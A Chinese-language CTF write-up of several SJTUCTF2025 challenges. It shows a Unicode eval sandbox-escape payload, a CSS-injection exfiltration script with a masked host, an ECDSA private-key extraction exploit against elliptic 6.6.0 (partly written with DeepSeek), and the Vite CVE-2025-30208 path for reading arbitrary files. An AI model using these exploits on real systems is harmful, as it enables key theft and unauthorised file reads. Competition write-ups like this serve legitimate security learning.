SJTUCTF2025 Writeup (2)
观前提示:本Writeup含有过量Deepseek The Flag的内容,建议谨慎观看
Gradient
快来挑选你喜欢的渐变色吧!
原题,秒了:[Web Exploitation] Exfiltration via CSS Injection | tripoloski blog
你怎么知道我赛前刚读过这篇文章。
1 | const host="http://*.*.*.*:*"; |
结果:48 111 112 115 123 85 53 101 95 36 116 116 70 125
0ops{U5e_$ttF}
PyCalc
1 | #!/usr/bin/env python3 |
See also: ZJUCTF 2024 官方部分题解 | Xecades Notes
refer: PEP 672 – Unicode-related Security Considerations for Python | peps.python.org
tool: Instagram Fonts Generator (𝓬𝓸𝓹𝔂 𝕒𝕟𝕕 𝓅𝒶𝓈𝓉𝑒) ― IGFonts.io
payload: 𝖊𝖛𝖆𝖑(𝖈𝖍𝖗(111)+𝖈𝖍𝖗(112)+𝖈𝖍𝖗(101)+𝖈𝖍𝖗(110)+𝖈𝖍𝖗(40)+𝖈𝖍𝖗(34)+𝖈𝖍𝖗(46)+𝖈𝖍𝖗(46)+𝖈𝖍𝖗(47)+𝖈𝖍𝖗(102)+𝖈𝖍𝖗(108)+𝖈𝖍𝖗(97)+𝖈𝖍𝖗(103)+𝖈𝖍𝖗(34)+𝖈𝖍𝖗(41)+𝖈𝖍𝖗(46)+𝖈𝖍𝖗(114)+𝖈𝖍𝖗(101)+𝖈𝖍𝖗(97)+𝖈𝖍𝖗(100)+𝖈𝖍𝖗(40)+𝖈𝖍𝖗(41)) # open("../flag").read()
女娲补胎
你的程序是好程序,但是没有:祝融引擎、瀛洲存储、甲骨文识别、貔貅缓存、铜雀加密、建木通信、蓬莱界面、息壤渲染、河图密码、归墟哈希、三神兽防御……
1 | const Zhu_Rong = require('express'); //祝融引擎 |
有点过于幽默了我们先还原成正常的应用
1 | const express = require('express'); //祝融引擎 |
OK我们来过一下这三个check:
1 | function Xuan_Wu(req) { |
无论是"pass"还是"fail"都是truthy value所以这个可以直接过
1 | function Kui_Dragon(req) { |
这个也好办,直接改cookie就行
1 | function Double_Pupil(req) { |
直接上GET /app.js可以拿到更新后的密码,就可以正常登录然后拿到admin session了
然后访问/flag拿到flag
KillerECC
I’ve crafted a killer signer—anything you want signed, consider it done. It is the strongest in the world. No limits, no questions.
又到了我最爱的Node.js时间了
查阅Dockerfile发现
1 | RUN npm install elliptic@6.6.0 |
欸,怎么还锁版本的?事出反常必有妖,直接前往Github查看版本更新了什么
Affected versions :<=6.6.0
Patched versions : =6.6.1
难怪锁版本
Deepseek Time!
阅读以下文章,请你补全full attack中funny函数和extract函数。
Summary
Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network inputNote that elliptic by design accepts hex strings as one of the possible input types
Details
In this code:elliptic/lib/elliptic/ec/index.js
Lines 100 to 107 in 3e46a48
1
2
3
4
5
6
7
8 msg = this._truncateToN(new BN(msg, 16));
// Zero-extend key to provide enough entropy
var bytes = this.n.byteLength();
var bkey = key.getPrivate().toArray('be', bytes);
// Zero-extend nonce to have the same byte size as N
var nonce = msg.toArray('be', bytes);msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.
Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures
Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction
While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key
Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain
PoC
k reuse example
1
2
3
4
5
6
7
8
9
10
11
12 import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })Full attack
This doesn’t include code for generation/recovery on a purpose (bit it’s rather trivial)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)
// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)
// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)
const something = extract(msg0, sig0, sig1, curve)
console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)Output:
1
2
3
4
5
6 Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22aSimilar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:
1
2
3
4
5
6
7 Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6
restored is equal to orig mod N.
deepseek就这点好,虽然我完全不会密码学,但它会啊
以下代码其实是我在deepseek基础上缝缝补补的,但核心那个又mul又mod又sub的地方确实是我动不了一点的
但我首杀了欸(
1 | import elliptic from 'elliptic' |
deepseek对其中数学原理的分析
funny函数设计:
• 通过构造前导零的十六进制字符串输入,利用BN库的自动截断特性(toArray('be', bytes)),使不同输入生成相同字节数组
• 例如:0x01和0x0001在固定长度转换时都会生成[0x01]数组
• 该设计直接触发nonce重复漏洞extract函数数学基础:
$$
s_0 = k^{-1}(m_0 + dr) \mod n
s_1 = k^{-1}(m_1 + dr) \mod n
$$
• 联立方程消去dr项:
$$
k = (m_0 - m_1)(s_0 - s_1)^{-1} \mod n
d = (s_0k - m_0)r^{-1} \mod n
$$
• 需特别注意椭圆曲线参数的模运算处理
TIME&POWER
我发现我的设备功耗出现了异常,似乎有人在爆破我的密码……但首先,我要先登录上我的账号。
相当明显的侧信道攻击emm但是感觉出的有点刻意了。
第一个爆密码 很好办直接出了aaaaaaaadmin
出来了一个numpy文件就是说每一位每一字符都有一个100个数的数据
拖到excel表里画个折线图,欸,还真有一条线在某一点显著偏离其余线
1 | import numpy as np |
ezCrypt
This text looks suspiciously like Base64… but something’s not quite right. It seems a bit… compressed?
Decompress we get the output.
Output:
1 | 0ops, looks like we have a really long number. Can you figure out what this is? |
We got:
1 | Time to choose! There are two blocks of cipher, the flag is in one of them. Choose wisely! |
First block:
3rd Recipe
1 | The flag is 0jkl{1=ake_fl@G_oF_CRyPTO_Cha11!}! I'm kidding. April Fool! There is no flag in this one~ But I can provide you some hint for the other block! |
Second block:
1 | I'm so sorry, I forgot to save the private key to decode the flag. But some supercomputer have already cracked it and uploaded to an online db. Can you find the flag? |
Deepseek Time!
Now I have those params, Is it possible to decrypt? How? Use python write a program. For anything you are not assured, just write an assert expression, and then suppose they are right.
n = 0x771b68deea7e2ecd0fa15099ae9085e1a6b163c415bde56c61ec811201d52e456e4a876db6da7af2695e206d9e3b23de02a16f675ad087c4bef3acc6c4e16ab3
e = 65537
c = 0x5641d8b05fda28c9af355a488bb6d97d9fe21ea645bc25814db317f04faa84a6fd93fa383396523f050b968e197f89febad840614840eebd675a3f917324f9d0Factordb
Private key details:
n: 6238143373406144532542613891565796667768433897236661098978663257017587998717436489052602237149416255508431410438139089238652737575356801140372944004934323
e: 65537
d: 4655215801198930537758237600055059243336600647148227480167683658253493084109218161324654347035325460543024738914452051705196359117246632272734492461923913
p: 66720953144911165998838491049270049821121906475512246576323412599571011308613
q: 93496017058652140120451192281187268387402942550918512435321834788719825835671
To decrypt the given RSA ciphertext using the provided private key parameters, we can use the RSA decryption formula $ m = c^d \mod n $. Here’s how to implement this in Python with necessary assertions to ensure parameter correctness:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40 # Given public key parameters
n_hex = 0x771b68deea7e2ecd0fa15099ae9085e1a6b163c415bde56c61ec811201d52e456e4a876db6da7af2695e206d9e3b23de02a16f675ad087c4bef3acc6c4e16ab3
e = 65537
c_hex = 0x5641d8b05fda28c9af355a488bb6d97d9fe21ea645bc25814db317f04faa84a6fd93fa383396523f050b968e197f89febad840614840eebd675a3f917324f9d0
# Provided private key details
private_n = 6238143373406144532542613891565796667768433897236661098978663257017587998717436489052602237149416255508431410438139089238652737575356801140372944004934323
d = 4655215801198930537758237600055059243336600647148227480167683658253493084109218161324654347035325460543024738914452051705196359117246632272734492461923913
p = 66720953144911165998838491049270049821121906475512246576323412599571011308613
q = 93496017058652140120451192281187268387402942550918512435321834788719825835671
# Assert that the provided n matches the private key's n
assert private_n == n_hex, "Public and private n values do not match"
# Assert that p and q multiply to n
calculated_n = p * q
assert calculated_n == private_n, f"p*q ({calculated_n}) does not equal n ({private_n})"
# Compute Euler's totient function φ(n)
phi = (p - 1) * (q - 1)
# Assert that d is the modular inverse of e modulo φ(n)
assert (e * d) % phi == 1, "d is not the modular inverse of e modulo φ(n)"
# Assert that ciphertext is less than n
assert c_hex < private_n, "Ciphertext must be less than n"
# Decrypt the ciphertext
m = pow(c_hex, d, private_n)
# Convert the decrypted message to bytes
byte_length = (m.bit_length() + 7) // 8
plaintext_bytes = m.to_bytes(byte_length, 'big')
# Attempt to decode the bytes as a UTF-8 string
try:
plaintext = plaintext_bytes.decode('utf-8')
print("Decrypted plaintext:", plaintext)
except UnicodeDecodeError:
print("Decrypted bytes (could not decode as UTF-8):", plaintext_bytes.hex())Explanation:
- Parameter Conversion: The provided hexadecimal values for
nandcare directly used as integers.- Assertions:
• Ensure the publicnmatches the private key’sn.
• Verify that $ p \times q = n $.
• Confirm that $ d $ is the correct modular inverse of $ e $ modulo $ φ(n) $.
• Check that the ciphertext is valid (i.e., $ c < n $).- Decryption: Uses Python’s built-in
powfunction for efficient modular exponentiation.- Conversion to Bytes: Converts the decrypted integer to bytes and attempts to decode it as a UTF-8 string, handling potential decoding errors gracefully.
This program ensures all parameters are correct before performing decryption, providing a robust solution to retrieve the original plaintext message.
Execute the program and we got flag.
Welcom3【来这里签到】
我们在 SJTU CTF 2025 的 开场动画 里截获了一串神秘的二进制数:
11010100 10000001 10001101 01111010 10001111 11110001 11100010 01100011 10001101 01111001 10110110 11101100 11010011 10011000 10111110 10110001 01010110 11010000 01111000 10101001 11111100 00111111 10011000 11000100 00110110 00111010 11001010 10001101 10000111 01101101 11000110 00100110
你知道它是什么的,对吧?
对的。我们在该文档中惊讶地发现了如下字段:
黑屏,渐次浮现二进制瀑布流(代码由SJTU校训「饮水思源」的SHA-256哈希转化而成)
然后惊讶地发现「饮水思源」的SHA-256哈希就是该二进制数
所以flag为0ops{饮水思源}(人在无语的时候真的会笑.jpg)
Emergency
你知道如何快速响应零日漏洞吗?
1 | import { defineConfig } from 'vite' |
呜呜真有人把dev server放在线上啊真好,直接上/@fs/读文件。额好像不太好读,查询vite @fs寻找该API的深入用法,直接找到了CVE-2025-30208
访问/@fs/flag??raw?import得到flag